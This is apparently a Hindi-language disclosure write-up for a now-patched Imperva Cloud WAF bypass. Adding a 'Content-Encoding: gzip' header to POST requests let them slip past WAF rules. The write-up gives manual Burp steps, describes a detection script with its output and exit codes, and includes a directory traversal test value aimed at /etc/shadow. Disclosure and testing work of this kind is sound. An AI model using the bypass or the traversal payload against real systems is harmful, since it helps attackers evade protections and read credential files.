
Imperva क्लाउड WAF बाईपास के लिए एक्सप्लॉइट, जो HTTP POST अनुरोधों पर WAF नियमों को बाईपास करने के लिए gzip Content-Encoding हेडर का उपयोग करता है। इसमें डिटेक्शन स्क्रिप्ट और मैनुअल टेस्टिंग चरण शामिल हैं।
इम्पेरवा क्लाउड WAF एक बाइपास भेद्यता से ग्रस्त था जो हमलावरों को दुर्भावनापूर्ण HTTP POST पेलोड भेजते समय WAF नियमों को दरकिनार करने की अनुमति देता था, जैसे कि log4j एक्सप्लॉइट, SQL इंजेक्शन, कमांड निष्पादन, डायरेक्ट्री ट्रैवर्सल, XXE, आदि।
इम्पेरवा टीम ने इसे रिपोर्ट किए जाने के पहले मिनट से बहुत गंभीरता से लिया, और उन्होंने कुछ ही दिनों में वैश्विक सुधार कर दिया। शाबाश। क्लाउड WAF के सभी ग्राहक 22 दिसंबर, 2021 तक स्वचालित रूप से पैच हो चुके हैं। इम्पेरवा के साथ काम करना बहुत अच्छा था और उनके पास स्पष्ट रूप से एक परिपक्व, कुशल और सक्षम सुरक्षा टीम है।
HTTP POST अनुरोधों में हेडर Content-Encoding: gzip जोड़ें। POST डेटा को यथावत छोड़ दें। इसे एनकोड न करें। जब तक Content-Encoding हेडर के पहले चार बाइट्स gzip हैं, POST अनुरोधों पर कोई WAF नियम लागू नहीं होंगे।
आप Burp में प्रॉक्सी की Match & Replace सुविधा का उपयोग करके ऐसा कर सकते हैं:

इस तरह एक नया हेडर जोड़ें:

बस इतना ही; आप जाने के लिए तैयार हैं।
imperva_gzip.py को किसी ऐसे URL के विरुद्ध चलाएँ जो POST अनुरोधों का समर्थन करता हो, जैसे:
सिंटैक्स:
./imperva_gzip.py [[-t] | [-r]] URL
किसी दिए गए URL के लिए WAF प्रकार का अनुमान लगाएँ:
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare
जाँचें कि क्या WAF gzip बाइपास के प्रति संवेदनशील है:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[+] Checking for Imperva WAF...
[+] Attempting gzip bypass for UNIX trigger...
[+] Vulnerable! HTTP response code: 200
[+] Attempting gzip bypass for Windows trigger...
[+] Vulnerable! HTTP response code: 200
यदि आपको यह त्रुटि मिलती है:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302
तो कमांड लाइन पर -r पास करके रिलैक्स्ड मोड सक्षम करने का प्रयास करें। रिलैक्स्ड मोड डिफ़ॉल्ट रूप से बंद है, जिसका अर्थ है कि POST अनुरोध से सर्वर से HTTP 200 प्रतिक्रिया मिलने की उम्मीद है। -r स्वीकार्य प्रतिक्रियाओं को HTTP 2xx, 3xx तक विस्तृत करता है।
imperva_gzip.py के लिए एग्ज़िट कोड इस प्रकार हैं:
0: Returned after getting WAF type.
1: Command-line was invalid.
2: There was an error connecting. Could be DNS error, timeout, etc.
3: No WAF was detected; malicious UNIX/Windows payloads weren't blocked.
4: A WAF was detected, but it wasn't Imperva.
5: The server responded to a test POST request with something other than HTTP 200.
128: There is an Imperva WAF, but it is not vulnerable to the gzip bypass.
129: The bypass was effective for the UNIX payload, but not the Windows one.
130: The bypass was effective for the Windows payload, but not the UNIX one.
131: The bypass was effective against both Windows and UNIX payloads.
तीन POST अनुरोध भेजें:
&test=../../../../../../../etc/shadow जैसे अतिरिक्त "दुर्भावनापूर्ण" डेटा के साथ, यह सत्यापित करने के लिए कि इम्पेरवा इसे ब्लॉक करता हैContent-Encoding: gzip जोड़ें और सत्यापित करें कि इम्पेरवा इसे ब्लॉक नहीं करता हैhttps://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding के अनुसार, Content-Encoding हेडर के लिए चार मान्य मान हैं:
compressdeflategzipbrपरीक्षण में, केवल gzip ने बाइपास के रूप में काम किया।
क्लाउड WAF इम्पेरवा द्वारा प्रबंधित है। परिणामस्वरूप, क्लाउड WAF के अपडेट लगभग सभी ग्राहकों को लगभग एक ही समय पर प्रभावित करते हैं। यह 22 दिसंबर, 2021 तक सभी ग्राहकों के लिए पैच किया गया है।
gzip बाइपास बग को इम्पेरवा के एक अलग उत्पाद SecureSphere में ठीक कर दिया गया है। SecureSphere के v12.6 के रिलीज़ नोट्स में यह पैराग्राफ़ है:
SPHR-58185: जब SecureSphere "Content-Encoding: gzip/deflate" हेडर वाले अनुरोधों में POST बॉडी को डीकंप्रेस करने में विफल रहा, तो उसने कोई अलर्ट जारी नहीं किया और अनुरोध को गुजरने दिया।
मुझे पूरा यकीन है कि यह वही बग है, शायद क्लाउड WAF के समान कोड विरासत के साथ... यह दो उत्पादों में होने के लिए एक बहुत ही विशिष्ट बग है। यह समस्या फरवरी 2021 में SecureSphere के लिए हल हो गई थी, लेकिन हम नहीं जानते कि यह कब शुरू हुई थी। यह संभव है कि यह भेद्यता वर्षों से मौजूद थी!
इम्पेरवा ग्राहक सहायता: https://www.imperva.com/support/technical-support/